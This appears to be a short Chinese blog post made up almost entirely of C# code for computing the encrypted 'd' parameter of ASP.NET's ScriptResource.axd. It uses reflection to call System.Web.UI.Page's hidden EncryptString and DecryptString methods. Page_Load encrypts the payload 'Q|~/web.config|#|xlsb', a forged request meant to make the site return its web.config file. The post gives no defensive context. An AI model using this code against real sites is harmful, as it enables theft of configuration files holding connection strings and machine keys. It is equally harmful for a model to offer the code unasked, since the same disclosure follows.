计算ScriptResource.axd的d参数

    技术2025-01-10  15

    protected void Page_Load(object sender, EventArgs e)

    { var url= string.Format("ScriptResource.axd?d={0}", PageEncryptString("Q|~/web.config|#|xlsb"));

    //var info = F.Studio.Web.Utility.MachineKeyUtil.GenerateMachineKey();

     //Response.Write("D->" + info.Decryption +":" + info.DecryptionKey +""); //Response.Write("V->" + info.Validation +":" + info.ValidationKey);

    }

    public static string PageDecryptString(string input) {

    Type type = typeof(System.Web.UI.Page);

     object o = Activator.CreateInstance(type);

    System.Reflection.MethodInfo mi = type.GetMethod("DecryptString", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static, null, new Type[] { typeof(string) }, null);

    object result = mi.Invoke(o, new object[] { input }); return result.ToString();

    }

     public static string PageEncryptString(string input)

     {

    Type type = typeof(System.Web.UI.Page);

    object o = Activator.CreateInstance(type); System.Reflection.MethodInfo mi = type.GetMethod("EncryptString", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static, null, new Type[] { typeof(string) }, null); object result = mi.Invoke(o, new object[] { input }); return result.ToString();

     }

    最新回复(0)